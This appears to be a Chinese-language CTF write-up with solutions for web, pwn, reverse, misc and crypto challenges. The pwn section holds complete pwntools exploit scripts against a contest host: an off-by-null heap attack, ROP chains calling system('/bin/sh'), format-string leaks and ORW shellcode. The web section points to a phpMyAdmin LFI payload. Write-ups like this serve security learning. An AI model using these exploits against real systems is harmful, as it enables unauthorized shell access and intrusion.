Web

枯燥抽奖

在`check.php`里有抽奖源码，可以发现是种子爆破

先把前面的随机数取出

```
tab = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
leak = 'leak'
length = len(leak)
res = ''
for i in range(len(leak)):
    if i <= length / 2:
        for j in range(len(tab)):
            if leak[i] == tab[j]:
                res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(
                    len(tab) - 1) + ' '
                break
    else:
        for j in range(len(str3)):
            if leak[i] == tab[j]:
                res += str(len(tab) - j) + ' ' + str(
                    len(tab) - j) + ' ' + '0' + ' ' + str(len(tab) - 1) + ' '
                break
print(res)
```

然后使用mt_seed来爆破种子

```
→  php_mt_seed-4.0 ./php_mt_seed 35 35 0 61 38 38 0 61 58 58 0 61 49 49 0 61 3
3 0 61 10 10 0 61 30 30 0 61 9 9 0 61 41 41 0 61 1 1 0 61
                    seed = 0x195d5c8a = 425548938 (PHP 7.1.0+)

```

最后改写函数跑一下

```
mt_srand(425548938);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
```

```
YOu_wIN_abcdefghijklmnopqrstuvwxyz
```

我有一个数据库

扫目录泄漏phpmyadmin版本`phpMyAdmin 4.8.x`，拿现成本地文件包含paylaod一把梭

> https://blog.csdn.net/qq_42154484/article/details/80773895

flag是123456789还以为是开玩笑。。

Pwn

chunk

off by null

```python
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './chunk'
e = ELF(file)
libc = e.libc
ip = '183.129.189.60'
port = '10014'
local = 0


def dbg(code=""):
    if local == 0:
        return
    gdb.attach(p, code)


def run():
    global p
    if local == 1:
        p = process(file)
    else:
        p = remote(ip, port)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run()


def add(i, l):
    sla(': ', '1')
    sla(': ', str(i))
    sla(': ', str(l))


def show(i):
    sla(': ', '2')
    sla('?', str(i))


def delete(i):
    sla(': ', '3')
    sla('?', str(i))


def edit(i, c):
    sla(': ', '4')
    sla('?', str(i))
    sea(': ', c)



add(1, 0x99)
add(2, 0x68)
add(3, 0x68)
add(4, 0xf8)
add(5, 0x20)
delete(2)
delete(3)
add(2, 0x68)
show(2)
ru(': ')
heap_base = un64(rn(6)) - 0xb0
delete(1)
add(1, 0x78)
show(1)
ru(': ')
libc.address = un64(rn(6)) - 0x3c4c18
print hex(heap_base)
print hex(libc.address)
add(3, 0x68)
edit(2, p64(1) * 12 + p64(0xd0) + '\n')
edit(3, p64(0) + p64(0xd1) + p64(heap_base + 0xc0) * 2 + '\n')
# dbg('breakrva 0xdc5')
delete(4)
delete(2)

add(4, 0xa0)
edit(4, p64(0) * 11 + p64(0x71) + p64(libc.address + 0x3c4aed) + '\n')

add(6, 0x68)
add(7, 0x68)

gagdet = libc.address + 0xf1147

edit(7, 'a' * 0xb + p64(gagdet) + p64(libc.address + 0x846c2) + '\n')
dbg('b*' + hex(gagdet))
add(9, 9)

shell()
```

宇宙无敌

简单rop

```python
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = 'pwn1'
e = ELF(file)
libc = e.libc
ip = '183.129.189.60'
port = '10026'
local = 0


def dbg(code=""):
    if local == 0:
        return
    gdb.attach(p, code)


def run():
    global p
    if local == 1:
        p = process(file)
    else:
        p = remote(ip, port)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run()
prdi = 0x400873
# pause()
payload = 'a' * 268
ru('\n')

se(payload)
# dbg('b*0x4007BD')
se('\x18' + p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) +
   p64(0x4007BF) + '\n')
libc.address = un64(rn(6)) - libc.symbols['puts']
print hex(libc.address)
ru('\n')
se(payload)
se('\x18' + p64(prdi) + p64(next(libc.search('/bin/sh'))) +
   p64(libc.symbols['system']) + '\n')
shell()
```

pwn_me

简单异或再base64取后四位

两次格式化字符串，一次泄漏pie，一次泄漏canary+写w

然后无限长度栈覆盖，布置好rop chain

负数溢出0x8000000

再布置好buf的check

```python
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn_me'
e = ELF(file)
libc = e.libc
ip = '183.129.189.60'
port = '10027'
local = 0


def dbg(code=""):
    if local == 0:
        return
    gdb.attach(p, code)


def run():
    global p
    if local == 1:
        p = process(file)
    else:
        p = remote(ip, port)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run()
ru('key~')
sl('[m]')
ru('enter:')
sl('1')
ru('g?: \n')
sl('%20$p')
pie = int(ru('\n'), 16) - 0x15f0
e.address = pie
print hex(pie)
# dbg('breakrva 0x1401')
```

```
ru('n?')
se('%17$p%101c%8$hhn'.ljust(0x10, '\x00') + p64(pie + 0x202010))
canary = int(ru(' '), 16)
print hex(canary)
rc()
sl(str(0x99999))
prdi = pie + 0x1653
rc()
rop_chain = 'a' * 0x258 + p64(canary) + p64(0) + p64(prdi) + p64(
    e.got['puts']) + p64(e.plt['puts']) + p64(pie + 0xb60)
rop_chain = list(rop_chain)
rop_chain[0x58] = 'Z'
rop_chain[0x7f] = 'X'
rop_chain[0x89] = 'Z'
rop_chain[0x9a] = 'l'
rop_chain = ''.join(rop_chain)
# dbg('breakrva 0x11E9')
sl(rop_chain)
ru('this?!\n')
sl(str(0x80000000))
ru('hhh')
sl(rop_chain[0:0x100])
ru('~\n')
libc.address = un64(rn(6)) - libc.symbols['puts']
print hex(libc.address)
rc()
sl(str(0x99999))
prdi = pie + 0x1653
rc()
rop_chain = 'a' * 0x258 + p64(canary) + p64(0) + p64(prdi) + p64(
    next(libc.search('/bin/sh'))) + p64(libc.symbols['system'])
rop_chain = list(rop_chain)
rop_chain[0x58] = 'Z'
rop_chain[0x7f] = 'X'
rop_chain[0x89] = 'Z'
rop_chain[0x9a] = 'l'
rop_chain = ''.join(rop_chain)
sl(rop_chain)
rc()
sl(str(0x80000000))
rc()
dbg('breakrva 0xCFE')
sl(rop_chain[0:0x100])
shell()
```

shellcode

可见字符串shellcode读入执行不限制shellcode ORW

```
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './SHELLCODE'
e = ELF(file)
context.arch = e.arch
```

```
libc = e.libc
ip = '183.129.189.60'
port = '10033'
local = 0


def dbg(code=""):
    if local == 0:
        return
    gdb.attach(p, code)


def run():
    global p
    if local == 1:
        p = process(file)
    else:
        p = remote(ip, port)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run()
rc()
read_call = '''
    sub rax,rax
    mov rsi,rsp
    xor rdi,rdi
    mov rdx,r11
    sub rsi,rdx
    syscall
    nop
    call rsi
'''
open('read_call', 'wb').write(asm(read_call))
'''
ALPHA3转换:
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M152x3e0z3a3E2M114E1O3
x3y2m7K5k7n04344z3w
'''

read_call =
'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M152x3e0z3a3E2M114E1O
3x3y2m7K5k7n04344z3w'.ljust(
    100, '\x00')

open_flag = asm('''
    push 0x6761
    pop rax
    shl rax,32
    or rax,0x6c662f2e
    push rax
    mov rdi,rsp
    mov rsi,0
    mov rdx,0
    mov rax,2
    syscall
''')

read_flag = asm('''
    mov rax,0
    mov rdi,3
    mov rsi,rbp
    mov rdx,100
    syscall
''')

write_flag = asm('''
    mov rax,1
    mov rdi,1
    mov rdx,100
    syscall
    pop rax
    ret
''')
dbg('breakrva 0xabd')
se(read_call + open_flag + read_flag + write_flag)
print rc()
```

Re

babyvm

`This_is_not_flag_233` 暴打出题人

后来逆出来的逻辑是

```
readflag
mov  r1, buf[0]
mov  r2, buf[1]
xor  r1, r2
mov  buf[0], r1         # [0]^=[1]
mov  r1, buf[1]
mov  r2, buf[2]
xor  r1, r2
mov  buf[1], r1         # [1]^=[2]
mov  r1, buf[2]
mov  r2, buf[3]
xor  r1, r2
mov  buf[2], r1         # [2]^=[3]
mov  r1, buf[3]
mov  r2, buf[4]
xor  r1, r2
mov  buf[3], r1         # [3]^=[4]
mov  r1, buf[4]
mov  r2, buf[5]
xor  r1, r2
mov  buf[4], r1         # [4]^=[5]
mov  r1, buf[5]
mov  r2, buf[6]
xor  r1, r2
mov  buf[5], r1         # [5]^=[6]
mov  r1, buf[6]
mov  r2, buf[7]
mov  r3, buf[8]
mov  r4, buf[12]
r1 = r3 + 2*r2 + 3*r1
mul  r1, r4
mov  buf[6], r1         # [6]=(3*[6]+2*[7]+[8])*[12]
mov  r1, buf[7]
mov  r2, buf[8]
mov  r3, buf[9]
mov  r4, buf[12]
r1 = r3 + 2*r2 + 3*r1
mul  r1, r4
mov  buf[7], r1         # [7]=(3*[7]+2*[8]+[9])*[12]
mov  r1, buf[8]
mov  r2, buf[9]
mov  r3, buf[10]
mov  r4, buf[12]
r1 = r3 + 2*r2 + 3*r1
mul  r1, r4
mov  buf[8], r1         # [8]=(3*[8]+2*[9]+[10])*[12]
mov  r1, buf[13]
mov  r2, buf[19]
swap r1, r2             # 13-19
mov  buf[13], r1
mov  buf[19], r2
mov  r1, buf[14]
mov  r2, buf[18]
swap r1, r2             # 14-18
mov  buf[14], r1
mov  buf[18], r2
mov  r1, buf[15]
mov  r2, buf[17]
swap r1, r2             # 15-17
mov  buf[15], r1
mov  buf[17], r2
end
```

输入正确的flag结果与内存的一个数组进行比较

```
69 45 2a 37 29 17 c5 0b 5c 72 33 76 33 21 74 31 5f 33 73 72
```

逆推即可

pyre

```
#uncompyle反编译，处理即可
code = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',',
'\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']
flag=[]
for i in code:
    flag.append(ord(i))
for i in range(len(code)-2,-1,-1):
    flag[i]=flag[i]^flag[i+1]
s=""
for i in range(len(code)):
    for j in range(128):
        if ((j+i)%128+128)%128==flag[i]:
            s+=chr(j)
print(s)
```

re3

patch掉发现时AES ECB

密文是

```
188, 10, 173, 192, 20, 124, 94, 204, 224, 177, 64, 188, 156, 81, 213, 43, 70,
178, 185, 67, 77, 229, 50, 75, 173, 127, 180, 179, 156, 219, 75, 91
```

密钥是

```
203, 141, 73, 53, 33, 180, 122, 76, 193, 174, 126, 98, 34, 146, 102, 206
```

在线解密出来

```
00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F
-------------------------------------------------------------------
66 6C 61 67 7B 39 32 34  61 39 61 62 32 31 36 33  | flag{924a9ab2163
64 33 39 30 34 31 30 64  30 61 31 66 36 37 30 7D  | d390410d0a1f670}
```

xxor

```
#include<stdio.h>
unsigned int ans[6]=
{0xDF48EF7E,0x20CAACF4,3774025685,1548802262,2652626477,0x84F30420};
int Decrypt(unsigned int *arr,unsigned int *key){
    int num=1166789954*64;
    for(int i=0;i<64;i++){
        arr[1] -= (arr[0] + num + 20) ^ ((arr[0] << 6) + key[2]) ^ ((arr[0] >>
9) + key[3]) ^ 0x10;
        arr[0] -= (arr[1] + num + 11) ^ ((arr[1] << 6) + *key) ^ ((arr[1] >> 9)
+ key[1]) ^ 0x20;
        num-=1166789954;
    }

}

int main(){
    unsigned int key[4]={2,2,3,4};
    for(int i=4;i>=0;i-=2){
        unsigned int anss[2]={ans[i],ans[i+1]};
        Decrypt(anss,key);
        printf("%x %x \n",anss[0],anss[1]);
        ans[i]=anss[0];
        ans[i+1]=anss[1];
    }
    for(int i=0;i<6;i++){
        printf("%x",ans[i]);
    }
    return 0;
}
```

```
output = '666c61677b72655f69735f6772656174217d'
output = [
    chr(int('0x' + output[i * 2:i * 2 + 2], 16))
    for i in range(len(output) / 2)
]
print ''.join(output)
```

Misc

math

```
from pwn import *
context.log_level = 'debug'
p = remote('183.129.189.60', '10034')
i = 0
while True:
    if i == 150:
        break
    p.recvuntil("level " + str(i))
    i += 1
    s = p.recv()
    s = s[s.find('problem:') + len('problem:'):s.find('= ?')]
    print s
    p.sendline(str(eval(s)))
p.recv()
p.interactive()
```

Crypto

babyRsa

```
from gmpy2 import *
import sympy
from Crypto.Util.number import long_to_bytes, bytes_to_long
```

```python
N =
636585149594574746909030160182690866222909256464847291783000651837227921337237899651287943597773270944384034858925295744880727101606841413640006527614873110651410155893776548737823152943797884729130149758279127430044739254000426610922834573094957082589539445610828279428814524313491262061930512829074466232633130599104490893572093943832740301809630847541592548921200288222432789208650949937638303429456468889100192613859073752923812454212239908948930178355331390933536771065791817643978763045030833712326162883810638120029378337092938662174119747687899484603628344079493556601422498405360731958162719296160584042671057160241284852522913676264596201906163
m1 =
900099743414522432169869380283712575286049432089411765187174635547749678781526945864693777652961131656594987260127122886704588843739714198427509292876586402662196866469569298721157821730939797429587451216719285687094685260987159271898296004972831180516411073051288526970320533681151812160696266061655034651257252048755787012377892929662118240027614818152766662368690051291388627824768591030867260918604976148832829499550232224143332431932685647816216998704125578224043812138040266858312214307282907555978192593396166501586747132488416543385151994055320031737325204578139011702647130851070770014780833413390020698705853782570511502175117557614910215532 39
m2 =
4874439857574051734266281883756571176042355079369675229932579721088722836983052384544657232142268714142767889120581861970398212429127367428240806276809718025112069143946721592402069107358506519993161000146910672957081386393632035962446939955627802866371163947382507741297590210801973237248054146680423188060106528144050787697385489136754661815510055270653095153649506101372063932571483576596666870916627498485602254538263622717042926928475963395332290880388205320861094211585758410776012687131750978740835362490060189487894132387839228456334940236088652560719628565812298900438969390256136005642833913293314521990628589303745659916341914951379395745 39546

p0 = iroot(N, 2)[0]
print p0

# print N -  (p0+1)*(p0+1)
p = sympy.nextprime(p0)
# t1 = sympy.lastprime(p0)
q = N / p

e = 0x10001
phin = (p - 1) * (q - 1)
d = invert(e, phin)
# print "d",d
c1 = powmod(m1, d, N)
c2 = powmod(m2, d, N)
print "c1:", c1
print "c2", c2
# 3*c1*y*y - 3*c1*c1*y + c1*c1*c1 =c2
y = 1590956290598033029862556611630426044507841845
x = c1 - y
flag1 = long_to_bytes(y)
flag2 = long_to_bytes(x)
print flag1 + flag2
```

babyRsa2

level1

```
#coding=utf-8
from Crypto.Util.number import long_to_bytes,bytes_to_long
def egcd(a, b):
  if a == 0:
    return (b, 0, 1)
  else:
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)
def modinv(a, m):
  g, x, y = egcd(a, m)
  if g != 1:
    raise Exception('modular inverse does not exist')
  else:
    return x % m
def main():
  n =
8788243810113198481764566947869508914607026957466489668727548073613496825679400591687813426342686034806081353790472216192635172094987395128834590030497381
  e1 = 2333
  e2 = 23333
  c1 =
4799918654649006116940502215835347906203162902787669199307383957409192303134738166614010930829808272183136103896570661157044610508330743272839870684458619
  c2 =
3517433402358387844096791333634390193378704559086526036995918508702312833687284786927630246590107124972191795462221141049323183791880150003945625070468406
  s = egcd(e1, e2)
  s1 = s[1]
  s2 = s[2]
  # 求模反元素
  if s1<0:
    s1 = - s1
    c1 = modinv(c1, n)
  elif s2<0:
    s2 = - s2
    c2 = modinv(c2, n)
  m = (c1**s1)*(c2**s2)%n
  print m
  #113831205986015169664784468384770913338052968250768027471219369390758438692587
if __name__ == '__main__':
  main()
```

level2

```
import gmpy2
n =
0x95021fbb4df8692ddbf928981593dfebb5a655b3a3690a9d3a491947f570ebdcd60066123e97c8
35744071e7ed5365b0632a12a828d11a01d6100948fb6d129d5f01d83a39c5ea84d240235f3b01c3
ea8ba81826a49fdce32935d00705831c6ff0734ceec19d6d91f8578db0c715a53dd9642f9219b5cd
42d4e71e257ad9df95e9a89a6e87a3e863bc62ee2d9511600a79ca7e0328cc5bf6986d09eaa6d65a
7ecfadc028f92181d399271474af96241d365d19c3c9ad8e5b5a46a92af2493ee1e363a274afc766
25c187b088cee4af7b7ec20a7433497e12f636e357ed77dbaeb89c8b89a4467befff2a68b2e9e226
c3c07897f7769030a1ac1311730124c789f16abef45ad581fdd019468864d809e49586dde58141a3
9218a6b33850c6cfdfae5719bfc96f0b6f3aad62279979936915070865b0b52f2c78041898cd7d64
af159281041aae8620eacc1de384fb92c43726c0afae49a98e5c64ef2287c3fe8d41593eb3673bcb
84e1a48428cd02a0a5a3dfaffc4cb91858fbcb50e7027d09050578e12e62e78823da46de6e05b099
adfb5061cf39bf7bf5d87f29e48274731c3d662314bba51d87a409eb849f123aea50db4ea05dfaba
4137c5ccce2d458d8c2ae26916ea803d98e5227cd3c642e1414800c9216e8e86ba7d194e2cd6eaef
f163bd7c12a2eb28219170d87a9961a348cf10b6432b4be1168957cccae6f91e6fL
e = 3
c =
0xe215fa3349030989987177ebca6d13fa4540a17c3cc4af418d4dbc87f7743360848e812acb18da
43e2ebc355b76d2c131144c3206e6de8f7f9f3fd3ea501af04ff40954bfc7ef4e889c3ba6e4f4e05
bf9316f905f43a2dbb3f8c8783fde404043ce84d8b400783d22e76a576e88c026f61c2215d3b2ec4
b7514c96f56fd3797a450467b881457e1eb867b8fc69d42b30694d952d0b7c5ae0d907be1e98b90a
fbcaf0477277959f55df83e5a456d05dd26c8334ff1289f0669816ffe03f88ea00L
i=0
while 1:
    if(gmpy2.iroot(c+i*n, 3)[1]==1):
        t= gmpy2.iroot(c+i*n, 3)[0]
        print t
        # print hex(t)[2:].decode("hex")
        break
    i=i+1
```

level3

```
from sage.all import *
n =
0xeb4f8c45336c229371fd73a252b24dd3bf8b3cdc1bb1864f140fd63c88d47c44ba228bebe223fe
53c7eaf88678b780821a6660b27265062165549900a5dda178ee04a47c7f1974fc8f8268d081bbb2b
e7e7353ccf36fecfce5f5f82722d064928f2d60844373c52b4d1db9dc41f7f16807c5b4356c4d229
0811e25c51ef1227aa6e893d37dd8743e391fa638d77d0c55e4fb33157660212833 3d4be95f06523
521e7511b39fc20111c88f2635b67e3531684d58ea6574179b5e63a862d073241f5ff91c97a45aa3
d8e3287d8161a97728d2e19d72669f39f9e6ad10677bb563bdef30d0dcfa719c2f1836bd02b73d21
dbecc11717b54c45d415d3f423ce6dfd8dL

p4
=0xfb2151c701f7667b53822fe625b95edee00c3a947b234eca47903ef62fb128d813a9c1acb328f
3f7181d24ce31814cd1a69ac4b61b269e2b0eb7fbaabe9633d33a36d0715b4cd386L



e = 0x10001
pbits = 1024

kbits = pbits - p4.nbits()
print p4.nbits()
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
```

```
roots = f.small_roots(X=2^kbits, beta=0.4)

if roots:
    p = p4+int(roots[0])
    print "n: ", n
    print "p: ", p
    print "q: ", n/p
```

```
import gmpy2
from Crypto.Util.number import long_to_bytes,bytes_to_long
n =
0xeb4f8c45336c229371fd73a252b24dd3bf8b3cdc1bb1864f140fd63c88d47c44ba228bebe223fe
53c7eaf88678b780821a6660b2726506216554990a5dda178ee04a47c7f1974fc8f8268d081bbb2b
e7e7353ccf36fecfce5f5f82722d064928f2d60844373c52b4d1db9dc41f7f16807c5b4356c4d229
0811e25c51ef1227aa6e893d37dd8743e391fa638d77d0c55e4fb331576602128333d4be95f06523
521e7511b39fc20111c88f2635b67e3531684d58ea6574179b5e63a862d073241f5ff91c97a45aa3
d8e3287d8161a97728d2e19d72669f39f9e6ad10677bb563bdef30d0dcfa719c2f1836bd02b73d21
dbecc11717b54c45d415d3f423ce6dfd8dL
e = 0x10001
# p>>448 =
p2=0xfb2151c701f7667b53822fe625b95edee00c3a947b234eca47903ef62fb128d813a9c1acb32
8f3f7181d24ce31814cd1a69ac4b61b269e2b0eb7fbaabe9633d33a36d0715b4cd386L
c
=0x663aa4100bc77f25ab6db5e391be6b000380dab975184dd9a48513ccb082ad7a8caa48355504a
03c633e4b3996dcfa25045a1538d1852362f8fa961101741e307ee87a088c8550f9f71e6bb973a88
d3e97a590df175ceef1d2e3cf55663346ab4b8bb833e3bca050e383f726536d12117a1aefe3c8f92
979083fdaa01feecb9075271c4c352bd3169af1ca52da8457c85248a569ea2704282ebcecf0c1411
52951798d9deb85745c231a3cdcb52f2df4c56e479e1e72bde7ff519098fa9a969fdeeb28707ee72
2942f41f19fc01c3004d12256d8a630f1bcee70c02179911bcb31e274cd409ac806bb09bf9ee8b18
b77ffac6bb12fd559aa9f5e869ac3f00747L

#
n=297052282137545658829931394719245722951823432112386158291811372020640517065953
93267370754841943355967012677568512988647611509327120950259780728925515193851841
76108751545871819480028414996138953487216801932925395320993101170328242041129765
69157597841399557724943922064503014495593194295090304603989150479805270188826106
09013753981325385909414494476597636510759522537411097279302654844180412078439700
62691527255355916020995045563821741108921682971543429724425279470384730001868120
73599565974668908460343830586418138123606269004752257316293874663818491600811445
28650315470298268936500064362564132742099920530316819561869
p=176349591380937241557665058885310910099807217886596609748212025637859794255950
71346787657250187697482106979566815028068057370684934259334345874925410110012588
09340502460124971191828794597201129155161048767994808214782787848648770886106500
07517352752027652071509015149672815118373623055021473878455675907268663
q=168445120746481040786654464970198284911104699504789767651196797521402159450353
42847939883095108598781167732256703645486701121943106208509151180197103644914335
46109268102638116457133223974122042346011152964259747453782624201741975986879910
63677784807016442694072936303598038035847914883590837915090833594844763
p3=p>>448
print p2-p3
print n-p*q

phin = (p - 1) * (q - 1)
d = gmpy2.invert(e, phin)
flag = gmpy2.powmod(c, d, n)
print flag
#https://www.jianshu.com/p/e407be39a22b
```

level4

```python
from Crypto.Util.number import *
import gmpy2
import libnum
n1 =
0xb08bab371e516b9ac3a9c68bc2af143893aac7534ace6c172c6da6e8c7b8b0631819b2647b92d3
3c064bef0f6af50736a3897b7230771c315f4c4a7315c23691e5b859764f5968e9e623ac768d14bf
4cdb9b56fb5b5d53236bf13a7b50bb247a9fe30e5d16c6c7ff34f875677a9438e2f1d0e4dee48c01
41e697fef3881d91249ecf9c415d3846bbd8bf9ddec2229f7a13e3b0c085ec1073bc4b7d26541159
67798244068e78bf2d150e702766ba7508d19346671a468943ca74509cb4fd7f8099b6a69f90f4ec
f7326efc5584ebae592d3bc4ed54f5edd9c33f7a1880fa24f96a8317e52986fed69950f4243422e1
ede448ba72894201ea47e23ec8157cf507L
n2 =
0xae8a5a3e9946f573c2b89167d2c4f7f630889c05a38b64f6f8ffe3e5230c946a065c19eab4f0b8
caa75fdb3fdaa1e4f0e5f89baff4398c1a1fd32b292ac1c1d87a718c8ae3f58c2e6f97eb459dbaf1
ffdc00d8b6e915c84c11dec00120308dc6e2b6778b953df6d9f454053c25db701987b89ece4de709
a1b345a7528c4245ae3965b8ef29abcb278dc941fea5cbb369c74434c7b1e873ee2f6dc18bc5a696
92358bf9443edb6b2eaeb674407ef763c62d57468e99408ef2fbb73699908e532de91689e07b77d1
2be0a425686b21aff40287749e391b4f46abecccba99d59d4ed861f57f1c520e888252be39024502
9808f07bfbd6e5200adff705b8255c93adL
e1 = 0x4628a2
e2 = 0x1436ea
c1 =
0x68efd78bd67438de2474bb1b9112e305266245359807dda408e9937bc97ee06d0098a8823cc49c
562392361d15852f5dce226cc0651da86654228ed9c6a2cb4952b8b447f4deaff8b622030f41f3e5
06431362c7900c32f0e6e53b4eb43b6ab6358e1fdfd03bead43d61d35d292ef9f575dd7507ad2483
8ff27be4bf9f8221bf5eeccb460168c3f2d703edc8733a40d0d890cdb9584bb454886c74cdd69dee
19855b80789ffe74088326f963e24c31c8e293f630cb6bac282ac49ad142c4d4fd90b272abe924ff
a72c1b974cd90e0a41c80b40df6f492b63edb792cc48ff30e5aad7e5a1d8c021a1705c27692bf07f
836530627f0a178b93b626ac6ebad06a71L
c2 =
0x3a9e0e7765e488f6f6651fa9758b99329beb2fb8117e990683e833a4c0a8203621fe69790ebcd4
e99b7c7135753c6a6e785a206c6f668c541600f075a67d1df77c536e0659a6aee5291726da62b6b1
9d35bb3429eb5af41ee9b60c0f7ae28cb983428c7041fec0b5649dde69355c12795ed2a539458991
164b35b37fa2495d8df80710cb75b64ae9ecfddf80fb188df864acac136c0cb9db0953e5328280cc
bcd3dc8c32755045ffe0e59f38d3a5d2507d4123789681534d4a69020ad984839db68d437f0a5fc4
542b5856e8845afa890e18217b34e4095511abe10787268aac55ceed1453fc5dc5c97593a4374b66
03c439638c604c53282a6fb3f327a72518L
t=GCD(n1,n2)

# print "t",t

q1=n1/t
# print "p1",p1

print n1-q1*t
q2=n2/t
# print "p2",p2

print n2-q2*t

dq1 = gmpy2.invert(e1/2, q1 - 1)
dq2 = gmpy2.invert(e2/2, q2 - 1)
cq1 = gmpy2.powmod(c1, dq1, q1)
cq2 = gmpy2.powmod(c2, dq2, q2)
m2 = libnum.solve_crt([cq1, cq2], [q1, q2])
```

```
m = gmpy2.iroot(m2, 2)
print m[0]
print long_to_bytes(m[0])



#https://www.dazhuanlan.com/2019/10/04/5d970ff4a37c5/
```

level5

```
n =
19442176928007830098424428955804863422490104569894359496453939957229742423661160
05424162164018560014252604882089657384191726053835376047750262463522877262354259
48081267149493876882567984857773011162540456651234900805997590635959431831742570
00621175533455527351901382362223186460177724406923578989734811261651935021211994
07826847238852727620773450030647993725718171307630304419142425554157508966763319
92351481353213450625631935664127423380129811300569098564548788041124116309775548
68340858807585375893503827768149367059669895608437969230531174624250114738703422
569825794356115744480899464005839030338854022395818875403
e = 5
c1 =
26506218969011025816893791466095314117626245021743975422841247692144609080086548
52455863749253016930925003392992346057340700100713968743971837776638144946387012
87154485422437592402905249840040151974080315867776147021284075889623873125652375
38124846511840687180861219264846335460314640980563329815044060950295201221946610
72230737226117102027032603761322108693855688952151746654019855205715141940676635
39459950606936108462665901877112231914464806764529803480944795681849082656461363
87126977105832637862953246687410707984224941463077218906496095611066354429331195
7887794906286805610383928125
c2 =
26506218969011025816893791466095314117626245021743975422841247692144609080086548
52455863749253016930925003392992345909726836840079328561220766335274692852846648
76765956238156745882235870289890666905903061370680974052073327856401906558796495
79264070739818818458937219756023990988224125336184846745177050225335025582996287
96088584610997933375899154137797740888314547348573899088023960335444177789029658
04114905575051102617369791505746948583147955602054499061020529118234065874742791
34692506889860529674097945344583914399975014218145575199861840684061422787833503
8410646539032726011271740251

import gmpy2
i=0
while 1:
    if(gmpy2.iroot(c1+i*n, 5)[1]==1):
        t= gmpy2.iroot(c1+i*n, 5)[0]
        print t
        print hex(t)[2:].decode("hex")
        break
    i=i+1
i=0
while 1:
    if(gmpy2.iroot(c2+i*n, 5)[1]==1):
        t= gmpy2.iroot(c2+i*n, 5)[0]
        print t
        print hex(t)[2:].decode("hex")
        break
    i=i+1
```